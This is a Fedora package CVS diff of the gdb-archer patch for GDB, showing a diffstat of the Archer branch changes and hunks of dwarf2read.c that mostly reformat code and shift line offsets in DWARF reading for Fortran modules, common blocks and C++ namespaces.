 i386-linux-nat.c                                         |   47 
 i386-nat.c                                               |   49 
 i386-nat.h                                               |   17 
 infcall.c                                                |    8 
 infcmd.c                                                 |   34 
 inferior.h                                               |    2 
 infrun.c                                                 |  190 +
 jv-lang.c                                                |    1 
 language.h                                               |    1 
 linespec.c                                               |   73 
 linux-nat.c                                              |   88 
 linux-nat.h                                              |    6 
 m2-lang.c                                                |    1 
 machoread.c                                              |    1 
 main.c                                                   |   80 
 maint.c                                                  |    8 
 mdebugread.c                                             |    2 
 mi/mi-cmd-var.c                                          |    1 
 mi/mi-main.c                                             |    2 
 mipsread.c                                               |    1 
 objfiles.c                                               |   14 
 objfiles.h                                               |   21 
 parse.c                                                  |  154 +
 parser-defs.h                                            |   25 
 ppc-linux-nat.c                                          |   19 
 printcmd.c                                               |   90 
 python/lib/gdb/FrameIterator.py                          |   33 
 python/lib/gdb/FrameWrapper.py                           |  112 
 python/lib/gdb/__init__.py                               |   19 
 python/lib/gdb/backtrace.py                              |   42 
 python/lib/gdb/command/__init__.py                       |    1 
 python/lib/gdb/command/alias.py                          |   59 
 python/lib/gdb/command/backtrace.py                      |  106 
 python/lib/gdb/command/ignore_errors.py                  |   37 
 python/lib/gdb/command/pahole.py                         |   75 
 python/lib/gdb/command/require.py                        |   57 
 python/lib/gdb/command/save_breakpoints.py               |   65 
 python/lib/gdb/command/upto.py                           |  129 +
 python/lib/gdb/function/__init__.py                      |    1 
 python/lib/gdb/function/caller_is.py                     |   58 
 python/lib/gdb/function/in_scope.py                      |   47 
 python/py-block.c                                        |  265 ++
 python/py-breakpoint.c                                   |  665 +++++
 python/py-cmd.c                                          |   17 
 python/py-frame.c                                        |  116 
 python/py-hooks.c                                        |   50 
 python/py-inferior.c                                     |  926 +++++++
 python/py-infthread.c                                    |  285 ++
 python/py-membuf.c                                       |  268 ++
 python/py-param.c                                        |  606 +++++
 python/py-prettyprint.c                                  |   21 
 python/py-symbol.c                                       |  336 ++
 python/py-symtab.c                                       |  322 ++
 python/py-type.c                                         |  170 +
 python/py-utils.c                                        |   46 
 python/py-value.c                                        |   55 
 python/python-internal.h                                 |   69 
 python/python.c                                          |  384 +++
 python/python.h                                          |    4 
 scm-lang.c                                               |    1 
 scm-valprint.c                                           |    4 
 solib-darwin.c                                           |    1 
 solib-spu.c                                              |    7 
 solib-svr4.c                                             |    4 
 solib.c                                                  |    3 
 solist.h                                                 |    2 
 somread.c                                                |    1 
 spu-tdep.c                                               |    2 
 stabsread.c                                              |    4 
 stack.c                                                  |   38 
 symfile.c                                                |   37 
 symfile.h                                                |   12 
 symmisc.c                                                |    4 
 symtab.c                                                 |  321 +-
 symtab.h                                                 |   20 
 target.c                                                 |   20 
 target.h                                                 |   41 
 testsuite/gdb.arch/powerpc-power7.exp                    |  175 +
 testsuite/gdb.arch/powerpc-power7.s                      |  107 
 testsuite/gdb.arch/x86_64-vla-typedef-foo.S              |  455 +++
 testsuite/gdb.arch/x86_64-vla-typedef.c                  |   43 
 testsuite/gdb.arch/x86_64-vla-typedef.exp                |   64 
 testsuite/gdb.base/arrayidx.c                            |    7 
 testsuite/gdb.base/arrayidx.exp                          |   10 
 testsuite/gdb.base/help.exp                              |    2 
 testsuite/gdb.base/lineno-makeup-func.c                  |   21 
 testsuite/gdb.base/lineno-makeup.c                       |   35 
 testsuite/gdb.base/lineno-makeup.exp                     |   78 
 testsuite/gdb.base/macscp.exp                            |    8 
 testsuite/gdb.base/radix.exp                             |    7 
 testsuite/gdb.base/valgrind-attach.c                     |   28 
 testsuite/gdb.base/valgrind-attach.exp                   |   94 
 testsuite/gdb.base/valgrind-attach.sh                    |   20 
 testsuite/gdb.base/vla-overflow.c                        |   30 
 testsuite/gdb.base/vla-overflow.exp                      |  108 
 testsuite/gdb.base/vla.c                                 |   55 
 testsuite/gdb.base/vla.exp                               |   62 
 testsuite/gdb.base/watchpoint-hw.c                       |    6 
 testsuite/gdb.base/watchpoint-hw.exp                     |   45 
 testsuite/gdb.cp/Makefile.in                             |    2 
 testsuite/gdb.cp/cp-relocate.exp                         |    6 
 testsuite/gdb.cp/cplusfuncs.cc                           |   10 
 testsuite/gdb.cp/cplusfuncs.exp                          |  225 +
 testsuite/gdb.cp/expand-sals.exp                         |    2 
 testsuite/gdb.cp/gdb9593.cc                              |  180 +
 testsuite/gdb.cp/gdb9593.exp                             |  185 +
 testsuite/gdb.cp/member-ptr.cc                           |   17 
 testsuite/gdb.cp/member-ptr.exp                          |   34 
 testsuite/gdb.cp/namespace-multiple-imports.cc           |   20 
 testsuite/gdb.cp/namespace-multiple-imports.exp          |   49 
 testsuite/gdb.cp/namespace-nested-imports.cc             |   36 
 testsuite/gdb.cp/namespace-nested-imports.exp            |   57 
 testsuite/gdb.cp/namespace-no-imports.cc                 |   37 
 testsuite/gdb.cp/namespace-no-imports.exp                |   76 
 testsuite/gdb.cp/namespace-recursive.cc                  |   47 
 testsuite/gdb.cp/namespace-recursive.exp                 |   75 
 testsuite/gdb.cp/namespace-stress.cc                     |   60 
 testsuite/gdb.cp/namespace-stress.exp                    |   50 
 testsuite/gdb.cp/namespace-using.cc                      |  128 -
 testsuite/gdb.cp/namespace-using.exp                     |  132 +
 testsuite/gdb.cp/namespace.exp                           |   23 
 testsuite/gdb.cp/overload.exp                            |    8 
 testsuite/gdb.cp/ovldbreak.exp                           |   46 
 testsuite/gdb.cp/shadowing.cc                            |   48 
 testsuite/gdb.cp/shadowing.exp                           |   91 
 testsuite/gdb.dwarf2/dw2-aranges.S                       |  140 +
 testsuite/gdb.dwarf2/dw2-aranges.exp                     |   40 
 testsuite/gdb.dwarf2/dw2-stripped.c                      |   42 
 testsuite/gdb.dwarf2/dw2-stripped.exp                    |   79 
 testsuite/gdb.dwarf2/dw2-struct-member-data-location.S   |   83 
 testsuite/gdb.dwarf2/dw2-struct-member-data-location.exp |   37 
 testsuite/gdb.fortran/common-block.exp                   |  101 
 testsuite/gdb.fortran/common-block.f90                   |   67 
 testsuite/gdb.fortran/dwarf-stride.exp                   |   42 
 testsuite/gdb.fortran/dwarf-stride.f90                   |   40 
 testsuite/gdb.fortran/dynamic.exp                        |  145 +
 testsuite/gdb.fortran/dynamic.f90                        |   98 
 testsuite/gdb.fortran/library-module-lib.f90             |   28 
 testsuite/gdb.fortran/library-module-main.f90            |   23 
 testsuite/gdb.fortran/library-module.exp                 |   53 
 testsuite/gdb.fortran/logical.exp                        |   44 
 testsuite/gdb.fortran/logical.f90                        |   33 
 testsuite/gdb.fortran/module.exp                         |   28 
 testsuite/gdb.fortran/module.f90                         |   37 
 testsuite/gdb.fortran/string.exp                         |   59 
 testsuite/gdb.fortran/string.f90                         |   37 
 testsuite/gdb.gdb/selftest.exp                           |    4 
 testsuite/gdb.java/jnpe.exp                              |   72 
 testsuite/gdb.java/jnpe.java                             |   38 
 testsuite/gdb.opt/array-from-register-func.c             |   22 
 testsuite/gdb.opt/array-from-register.c                  |   28 
 testsuite/gdb.opt/array-from-register.exp                |   33 
 testsuite/gdb.opt/fortran-string.exp                     |   41 
 testsuite/gdb.opt/fortran-string.f90                     |   28 
 testsuite/gdb.python/py-cmd.exp                          |   27 
 testsuite/gdb.python/py-frame.exp                        |   48 
 testsuite/gdb.python/py-function.exp                     |   27 
 testsuite/gdb.python/py-inferior.c                       |   49 
 testsuite/gdb.python/py-inferior.exp                     |  201 +
 testsuite/gdb.python/py-infthread.c                      |   14 
 testsuite/gdb.python/py-infthread.exp                    |   58 
 testsuite/gdb.python/py-prettyprint.exp                  |   22 
 testsuite/gdb.python/py-template.exp                     |   25 
 testsuite/gdb.python/py-value.exp                        |   31 
 testsuite/gdb.python/python.exp                          |   27 
 testsuite/gdb.threads/watchpoint-fork-forkoff.c          |  175 +
 testsuite/gdb.threads/watchpoint-fork-mt.c               |  157 +
 testsuite/gdb.threads/watchpoint-fork.c                  |   57 
 testsuite/gdb.threads/watchpoint-fork.exp                |  130 +
 testsuite/gdb.threads/watchthreads-reorder.c             |  366 +++
 testsuite/gdb.threads/watchthreads-reorder.exp           |  105 
 testsuite/lib/cp-support.exp                             |    3 
 testsuite/lib/gdb.exp                                    |    1 
 testsuite/lib/python-support.exp                         |   53 
 thread.c                                                 |   18 
 top.c                                                    |    1 
 typeprint.c                                              |   14 
 typeprint.h                                              |    3 
 ui-file.c                                                |   20 
 ui-file.h                                                |    6 
 utils.c                                                  |    7 
 valarith.c                                               |   45 
 valops.c                                                 |  258 +-
 valprint.c                                               |    4 
 value.c                                                  |  150 +
 value.h                                                  |    8 
 varobj.c                                                 |   76 
 xcoffread.c                                              |    1 
 239 files changed, 18400 insertions(+), 2442 deletions(-)

Index: gdb-archer.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb-archer.patch,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- gdb-archer.patch	7 Oct 2009 19:17:19 -0000	1.34
+++ gdb-archer.patch	23 Oct 2009 20:05:49 -0000	1.35
@@ -2,7 +2,7 @@ http://sourceware.org/gdb/wiki/ProjectAr
 http://sourceware.org/gdb/wiki/ArcherBranchManagement
 
 GIT snapshot:
-commit ce4ead356654b951a49ca78d81ebfff95e758bf5
+commit 5b73ea6a0f74e63db3b504792fc1d37f548bdf5c
 
 branch `archer' - the merge of branches:
 archer-tromey-call-frame-cfa
@@ -4963,7 +4963,7 @@ index 0bfcfca..01018d6 100644
  
  #endif /* dwarf2loc.h */
 diff --git a/gdb/dwarf2read.c b/gdb/dwarf2read.c
-index 4cce36b..c2f5f23 100644
+index 4cce36b..fb0a693 100644
 --- a/gdb/dwarf2read.c
 +++ b/gdb/dwarf2read.c
 @@ -48,6 +48,12 @@
@@ -5701,7 +5701,7 @@ index 4cce36b..c2f5f23 100644
        if (die->child != NULL && (die->tag == DW_TAG_imported_declaration
  				 || cu->language != language_fortran))
  	complaint (&symfile_complaints, _("Tag '%s' has unexpected children"),
-@@ -3310,41 +3583,68 @@ process_die (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3310,41 +3583,71 @@ process_die (struct die_info *die, struct dwarf2_cu *cu)
  /* Return the fully qualified name of DIE, based on its DW_AT_name.
     If scope qualifiers are appropriate they will be added.  The result
     will be allocated on the objfile_obstack, or NULL if the DIE does
@@ -5776,14 +5776,17 @@ index 4cce36b..c2f5f23 100644
    return name;
  }
  
-+/* read the given die's decl_line number. Return -1 if in case of an error */
-+static const int dwarf2_read_decl_line (struct die_info *die, struct dwarf2_cu *cu){
++/* Read the given DIE's DW_AT_decl_line number.  Return -1 if in case of an
++   error.  */
++
++static int
++dwarf2_read_decl_line (struct die_info *die, struct dwarf2_cu *cu)
++{
 +  struct attribute *line_attr;
 +
 +  line_attr = dwarf2_attr (die, DW_AT_decl_line, cu);
-+  if (line_attr){
-+    return  DW_UNSND (line_attr);
-+  }
++  if (line_attr)
++    return DW_UNSND (line_attr);
 +
 +  return -1;
 +}
@@ -5791,7 +5794,7 @@ index 4cce36b..c2f5f23 100644
  /* Read the import statement specified by the given die and record it.  */
  
  static void
-@@ -3354,9 +3654,15 @@ read_import_statement (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3354,9 +3657,15 @@ read_import_statement (struct die_info *die, struct dwarf2_cu *cu)
    struct die_info *imported_die;
    const char *imported_name;
    const char *imported_name_prefix;
@@ -5809,7 +5812,7 @@ index 4cce36b..c2f5f23 100644
    import_attr = dwarf2_attr (die, DW_AT_import, cu);
    if (import_attr == NULL)
      {
-@@ -3404,17 +3710,27 @@ read_import_statement (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3404,17 +3713,27 @@ read_import_statement (struct die_info *die, struct dwarf2_cu *cu)
        return;
      }
  
@@ -5843,7 +5846,7 @@ index 4cce36b..c2f5f23 100644
        canonical_name = alloca (strlen (imported_name_prefix) + 2 + strlen (imported_name) + 1);
        strcpy (canonical_name, imported_name_prefix);
        strcat (canonical_name, "::");
-@@ -3425,8 +3741,14 @@ read_import_statement (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3425,8 +3744,14 @@ read_import_statement (struct die_info *die, struct dwarf2_cu *cu)
        canonical_name = alloca (strlen (imported_name) + 1);
        strcpy (canonical_name, imported_name);
      }
@@ -5860,7 +5863,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  static void
-@@ -3695,6 +4017,14 @@ inherit_abstract_dies (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3695,6 +4020,14 @@ inherit_abstract_dies (struct die_info *die, struct dwarf2_cu *cu)
    struct attribute *attr;
  
    attr = dwarf2_attr (die, DW_AT_abstract_origin, cu);
@@ -5875,7 +5878,7 @@ index 4cce36b..c2f5f23 100644
    if (!attr)
      return;
  
-@@ -3793,6 +4123,7 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3793,6 +4126,7 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
    char *name;
    CORE_ADDR baseaddr;
    struct block *block;
@@ -5883,7 +5886,7 @@ index 4cce36b..c2f5f23 100644
    int inlined_func = (die->tag == DW_TAG_inlined_subroutine);
  
    if (inlined_func)
-@@ -3811,13 +4142,23 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3811,13 +4145,23 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
  
    baseaddr = ANOFFSET (objfile->section_offsets, SECT_OFF_TEXT (objfile));
  
@@ -5910,7 +5913,7 @@ index 4cce36b..c2f5f23 100644
    lowpc += baseaddr;
    highpc += baseaddr;
  
-@@ -3844,14 +4185,19 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3844,14 +4188,19 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
  
    cu->list_in_scope = &local_symbols;
  
@@ -5937,7 +5940,7 @@ index 4cce36b..c2f5f23 100644
      }
  
    inherit_abstract_dies (die, cu);
-@@ -3867,6 +4213,13 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3867,6 +4216,13 @@ read_func_scope (struct die_info *die, struct dwarf2_cu *cu)
  			determine_prefix (die, cu),
  			processing_has_namespace_info);
  
@@ -5951,7 +5954,7 @@ index 4cce36b..c2f5f23 100644
    /* If we have address ranges, record them.  */
    dwarf2_record_block_ranges (die, block, baseaddr, cu);
    
-@@ -3903,7 +4256,7 @@ read_lexical_block_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3903,7 +4259,7 @@ read_lexical_block_scope (struct die_info *die, struct dwarf2_cu *cu)
       as multiple lexical blocks?  Handling children in a sane way would
       be nasty.  Might be easier to properly extend generic blocks to 
       describe ranges.  */
@@ -5960,7 +5963,7 @@ index 4cce36b..c2f5f23 100644
      return;
    lowpc += baseaddr;
    highpc += baseaddr;
-@@ -3920,7 +4273,7 @@ read_lexical_block_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -3920,7 +4276,7 @@ read_lexical_block_scope (struct die_info *die, struct dwarf2_cu *cu)
      }
    new = pop_context ();
  
@@ -5969,7 +5972,7 @@ index 4cce36b..c2f5f23 100644
      {
        struct block *block
          = finish_block (0, &local_symbols, new->old_blocks, new->start_addr,
-@@ -4075,7 +4428,8 @@ dwarf2_ranges_read (unsigned offset, CORE_ADDR *low_return,
+@@ -4075,7 +4431,8 @@ dwarf2_ranges_read (unsigned offset, CORE_ADDR *low_return,
     discontinuous, i.e. derived from DW_AT_ranges information.  */
  static int
  dwarf2_get_pc_bounds (struct die_info *die, CORE_ADDR *lowpc,
@@ -5979,7 +5982,7 @@ index 4cce36b..c2f5f23 100644
  {
    struct attribute *attr;
    CORE_ADDR low = 0;
-@@ -4103,7 +4457,7 @@ dwarf2_get_pc_bounds (struct die_info *die, CORE_ADDR *lowpc,
+@@ -4103,7 +4460,7 @@ dwarf2_get_pc_bounds (struct die_info *die, CORE_ADDR *lowpc,
  	{
  	  /* Value of the DW_AT_ranges attribute is the offset in the
  	     .debug_ranges section.  */
@@ -5988,7 +5991,7 @@ index 4cce36b..c2f5f23 100644
  	    return 0;
  	  /* Found discontinuous range of addresses.  */
  	  ret = -1;
-@@ -4142,7 +4496,7 @@ dwarf2_get_subprogram_pc_bounds (struct die_info *die,
+@@ -4142,7 +4499,7 @@ dwarf2_get_subprogram_pc_bounds (struct die_info *die,
    CORE_ADDR low, high;
    struct die_info *child = die->child;
  
@@ -5997,7 +6000,7 @@ index 4cce36b..c2f5f23 100644
      {
        *lowpc = min (*lowpc, low);
        *highpc = max (*highpc, high);
-@@ -4179,7 +4533,7 @@ get_scope_pc_bounds (struct die_info *die,
+@@ -4179,7 +4536,7 @@ get_scope_pc_bounds (struct die_info *die,
    CORE_ADDR best_high = (CORE_ADDR) 0;
    CORE_ADDR current_low, current_high;
  
@@ -6006,7 +6009,7 @@ index 4cce36b..c2f5f23 100644
      {
        best_low = current_low;
        best_high = current_high;
-@@ -4474,7 +4828,7 @@ dwarf2_add_field (struct field_info *fip, struct die_info *die,
+@@ -4474,7 +4831,7 @@ dwarf2_add_field (struct field_info *fip, struct die_info *die,
  	return;
  
        /* Get physical name.  */
@@ -6015,7 +6018,7 @@ index 4cce36b..c2f5f23 100644
  
        /* The name is already allocated along with this objfile, so we don't
  	 need to duplicate it for the type.  */
-@@ -4617,7 +4971,7 @@ dwarf2_add_member_fn (struct field_info *fip, struct die_info *die,
+@@ -4617,7 +4974,7 @@ dwarf2_add_member_fn (struct field_info *fip, struct die_info *die,
      return;
  
    /* Get the mangled name.  */
@@ -6024,7 +6027,7 @@ index 4cce36b..c2f5f23 100644
  
    /* Look up member function name in fieldlist.  */
    for (i = 0; i < fip->nfnfields; i++)
-@@ -4661,7 +5015,7 @@ dwarf2_add_member_fn (struct field_info *fip, struct die_info *die,
+@@ -4661,7 +5018,7 @@ dwarf2_add_member_fn (struct field_info *fip, struct die_info *die,
    /* The name is already allocated along with this objfile, so we don't
       need to duplicate it for the type.  */
    fnp->physname = physname ? physname : "";
@@ -6033,7 +6036,7 @@ index 4cce36b..c2f5f23 100644
    this_type = read_type_die (die, cu);
    if (this_type && TYPE_CODE (this_type) == TYPE_CODE_FUNC)
      {
-@@ -4721,18 +5075,18 @@ dwarf2_add_member_fn (struct field_info *fip, struct die_info *die,
+@@ -4721,18 +5078,18 @@ dwarf2_add_member_fn (struct field_info *fip, struct die_info *die,
      {
        /* Support the .debug_loc offsets */
        if (attr_form_is_block (attr))
@@ -6059,7 +6062,7 @@ index 4cce36b..c2f5f23 100644
     }
  }
  
-@@ -4845,7 +5199,7 @@ quirk_gcc_member_function_pointer (struct die_info *die, struct dwarf2_cu *cu)
+@@ -4845,7 +5202,7 @@ quirk_gcc_member_function_pointer (struct die_info *die, struct dwarf2_cu *cu)
      return NULL;
  
    domain_type = TYPE_TARGET_TYPE (TYPE_FIELD_TYPE (pfn_type, 0));
@@ -6068,7 +6071,7 @@ index 4cce36b..c2f5f23 100644
    smash_to_method_type (type, domain_type, TYPE_TARGET_TYPE (pfn_type),
  			TYPE_FIELDS (pfn_type), TYPE_NFIELDS (pfn_type),
  			TYPE_VARARGS (pfn_type));
-@@ -4898,7 +5252,7 @@ read_structure_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -4898,7 +5255,7 @@ read_structure_type (struct die_info *die, struct dwarf2_cu *cu)
        return set_die_type (die, type, cu);
      }
  
@@ -6077,7 +6080,7 @@ index 4cce36b..c2f5f23 100644
    INIT_CPLUS_SPECIFIC (type);
  
    name = dwarf2_name (die, cu);
-@@ -4907,14 +5261,18 @@ read_structure_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -4907,14 +5264,18 @@ read_structure_type (struct die_info *die, struct dwarf2_cu *cu)
        if (cu->language == language_cplus
  	  || cu->language == language_java)
  	{
@@ -6099,7 +6102,7 @@ index 4cce36b..c2f5f23 100644
  	}
      }
  
-@@ -5124,7 +5482,7 @@ read_enumeration_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5124,7 +5485,7 @@ read_enumeration_type (struct die_info *die, struct dwarf2_cu *cu)
        return set_die_type (die, type, cu);
      }
  
@@ -6108,7 +6111,7 @@ index 4cce36b..c2f5f23 100644
  
    TYPE_CODE (type) = TYPE_CODE_ENUM;
    name = dwarf2_full_name (die, cu);
-@@ -5152,51 +5510,6 @@ read_enumeration_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5152,51 +5513,6 @@ read_enumeration_type (struct die_info *die, struct dwarf2_cu *cu)
    return set_die_type (die, type, cu);
  }
  
@@ -6160,7 +6163,7 @@ index 4cce36b..c2f5f23 100644
  /* Given a pointer to a die which begins an enumeration, process all
     the dies that define the members of the enumeration, and create the
     symbol for the enumeration type.
-@@ -5274,6 +5587,29 @@ process_enumeration_scope (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5274,6 +5590,29 @@ process_enumeration_scope (struct die_info *die, struct dwarf2_cu *cu)
    new_symbol (die, this_type, cu);
  }
  
@@ -6190,7 +6193,7 @@ index 4cce36b..c2f5f23 100644
  /* Extract all information from a DW_TAG_array_type DIE and put it in
     the DIE's type field.  For now, this only handles one dimensional
     arrays.  */
-@@ -5287,7 +5623,7 @@ read_array_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5287,7 +5626,7 @@ read_array_type (struct die_info *die, struct dwarf2_cu *cu)
    struct type *element_type, *range_type, *index_type;
    struct type **range_types = NULL;
    struct attribute *attr;
@@ -6199,7 +6202,7 @@ index 4cce36b..c2f5f23 100644
    struct cleanup *back_to;
    char *name;
  
-@@ -5334,16 +5670,11 @@ read_array_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5334,16 +5673,11 @@ read_array_type (struct die_info *die, struct dwarf2_cu *cu)
    type = element_type;
  
    if (read_array_order (die, cu) == DW_ORD_col_major)
@@ -6221,7 +6224,7 @@ index 4cce36b..c2f5f23 100644
  
    /* Understand Dwarf2 support for vector types (like they occur on
       the PowerPC w/ AltiVec).  Gcc just adds another attribute to the
-@@ -5410,12 +5741,14 @@ read_set_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5410,12 +5744,14 @@ read_set_type (struct die_info *die, struct dwarf2_cu *cu)
    return set_die_type (die, set_type, cu);
  }
  
@@ -6238,7 +6241,7 @@ index 4cce36b..c2f5f23 100644
    struct attribute *attr;
    struct symbol *sym;
    CORE_ADDR base = (CORE_ADDR) 0;
-@@ -5425,25 +5758,55 @@ read_common_block (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5425,25 +5761,55 @@ read_common_block (struct die_info *die, struct dwarf2_cu *cu)
      {
        /* Support the .debug_loc offsets */
        if (attr_form_is_block (attr))
@@ -6301,7 +6304,7 @@ index 4cce36b..c2f5f23 100644
  	  attr = dwarf2_attr (child_die, DW_AT_data_member_location, cu);
  	  if (attr)
  	    {
-@@ -5461,8 +5824,25 @@ read_common_block (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5461,8 +5827,25 @@ read_common_block (struct die_info *die, struct dwarf2_cu *cu)
  	      SYMBOL_VALUE_ADDRESS (sym) = base + byte_offset;
  	      add_symbol_to_list (sym, &global_symbols);
  	    }
@@ -6327,7 +6330,7 @@ index 4cce36b..c2f5f23 100644
      }
  }
  
-@@ -5530,7 +5910,7 @@ read_namespace (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5530,7 +5913,7 @@ read_namespace (struct die_info *die, struct dwarf2_cu *cu)
        if (is_anonymous)
  	{
  	  const char *previous_prefix = determine_prefix (die, cu);
@@ -6336,7 +6339,7 @@ index 4cce36b..c2f5f23 100644
  	}
      }
  
-@@ -5546,20 +5926,155 @@ read_namespace (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5546,20 +5929,155 @@ read_namespace (struct die_info *die, struct dwarf2_cu *cu)
      }
  }
  
@@ -6376,18 +6379,18 @@ index 4cce36b..c2f5f23 100644
 +
 +  if (die_is_declaration (die, cu))
 +    return NULL;
- 
--  /* FIXME: Support the separate Fortran module namespaces.  */
++
 +  module_name = dwarf2_name (die, cu);
 +  if (!module_name)
 +    complaint (&symfile_complaints, _("DW_TAG_module has no name, offset 0x%x"),
 +               die->offset);
 +  type = init_type (TYPE_CODE_MODULE, 0, 0, module_name, objfile);
- 
-+  /* Create a context for reading the module variables.  */
 +
++  /* Create a context for reading the module variables.  */
+ 
+-  /* FIXME: Support the separate Fortran module namespaces.  */
 +  new = push_context (0, 0);
-+
+ 
 +  save_file_symbols = file_symbols;
 +  file_symbols = NULL;
 +  save_global_symbols = global_symbols;
@@ -6495,7 +6498,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  /* Return the name of the namespace represented by DIE.  Set
-@@ -5724,29 +6239,113 @@ read_tag_string_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5724,29 +6242,113 @@ read_tag_string_type (struct die_info *die, struct dwarf2_cu *cu)
    struct gdbarch *gdbarch = get_objfile_arch (objfile);
    struct type *type, *range_type, *index_type, *char_type;
    struct attribute *attr;
@@ -6623,7 +6626,7 @@ index 4cce36b..c2f5f23 100644
    char_type = language_string_char_type (cu->language_defn, gdbarch);
    type = create_string_type (NULL, char_type, range_type);
  
-@@ -5841,7 +6440,6 @@ static struct type *
+@@ -5841,7 +6443,6 @@ static struct type *
  read_typedef (struct die_info *die, struct dwarf2_cu *cu)
  {
    struct objfile *objfile = cu->objfile;
@@ -6631,7 +6634,7 @@ index 4cce36b..c2f5f23 100644
    const char *name = NULL;
    struct type *this_type;
  
-@@ -5949,8 +6547,7 @@ read_subrange_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5949,8 +6550,7 @@ read_subrange_type (struct die_info *die, struct dwarf2_cu *cu)
    struct type *base_type;
    struct type *range_type;
    struct attribute *attr;
@@ -6641,7 +6644,7 @@ index 4cce36b..c2f5f23 100644
    char *name;
    
    base_type = die_type (die, cu);
-@@ -5963,42 +6560,89 @@ read_subrange_type (struct die_info *die, struct dwarf2_cu *cu)
+@@ -5963,42 +6563,89 @@ read_subrange_type (struct die_info *die, struct dwarf2_cu *cu)
  		     0, NULL, cu->objfile);
      }
  
@@ -6760,7 +6763,7 @@ index 4cce36b..c2f5f23 100644
  
    name = dwarf2_name (die, cu);
    if (name)
-@@ -6469,6 +7113,7 @@ load_partial_dies (bfd *abfd, gdb_byte *buffer, gdb_byte *info_ptr,
+@@ -6469,6 +7116,7 @@ load_partial_dies (bfd *abfd, gdb_byte *buffer, gdb_byte *info_ptr,
  	  && abbrev->tag != DW_TAG_lexical_block
  	  && abbrev->tag != DW_TAG_variable
  	  && abbrev->tag != DW_TAG_namespace
@@ -6768,7 +6771,7 @@ index 4cce36b..c2f5f23 100644
  	  && abbrev->tag != DW_TAG_member)
  	{
  	  /* Otherwise we skip to the next sibling, if any.  */
-@@ -6689,9 +7334,6 @@ read_partial_die (struct partial_die_info *part_die,
+@@ -6689,9 +7337,6 @@ read_partial_die (struct partial_die_info *part_die,
  	  if (part_die->dirname == NULL)
  	    part_die->dirname = DW_STRING (&attr);
  	  break;
@@ -6778,7 +6781,7 @@ index 4cce36b..c2f5f23 100644
  	case DW_AT_low_pc:
  	  has_low_pc_attr = 1;
  	  part_die->lowpc = DW_ADDR (&attr);
-@@ -6923,7 +7565,8 @@ fixup_partial_die (struct partial_die_info *part_die,
+@@ -6923,7 +7568,8 @@ fixup_partial_die (struct partial_die_info *part_die,
    /* If we found a reference attribute and the DIE has no name, try
       to find a name in the referred to DIE.  */
  
@@ -6788,7 +6791,7 @@ index 4cce36b..c2f5f23 100644
      {
        struct partial_die_info *spec_die;
  
-@@ -8265,10 +8908,12 @@ var_decode_location (struct attribute *attr, struct symbol *sym,
+@@ -8265,10 +8911,12 @@ var_decode_location (struct attribute *attr, struct symbol *sym,
       (i.e. when the value of a register or memory location is
       referenced, or a thread-local block, etc.).  Then again, it might
       not be worthwhile.  I'm assuming that it isn't unless performance
@@ -6803,7 +6806,7 @@ index 4cce36b..c2f5f23 100644
  }
  
  /* Given a pointer to a DWARF information entry, figure out if we need
-@@ -8290,21 +8935,30 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
+@@ -8290,21 +8938,30 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
  
    baseaddr = ANOFFSET (objfile->section_offsets, SECT_OFF_TEXT (objfile));
  
@@ -6841,7 +6844,7 @@ index 4cce36b..c2f5f23 100644
  
        /* Default assumptions.
           Use the passed type or decode it from the die.  */
-@@ -8402,9 +9056,28 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
+@@ -8402,9 +9059,28 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
  	  if (attr)
  	    {
  	      var_decode_location (attr, sym, cu);
@@ -6871,7 +6874,7 @@ index 4cce36b..c2f5f23 100644
  	      else
  		add_symbol_to_list (sym, cu->list_in_scope);
  	    }
-@@ -8534,7 +9207,7 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
+@@ -8534,7 +9210,7 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
  	  add_symbol_to_list (sym, cu->list_in_scope);
  	  break;
  	case DW_TAG_enumerator:
@@ -6880,7 +6883,7 @@ index 4cce36b..c2f5f23 100644
  	  attr = dwarf2_attr (die, DW_AT_const_value, cu);
  	  if (attr)
  	    {
-@@ -8558,6 +9231,16 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
+@@ -8558,6 +9234,16 @@ new_symbol (struct die_info *die, struct type *type, struct dwarf2_cu *cu)
  	  SYMBOL_CLASS (sym) = LOC_TYPEDEF;
  	  add_symbol_to_list (sym, &global_symbols);
  	  break;
@@ -6897,7 +6900,7 @@ index 4cce36b..c2f5f23 100644
  	default:
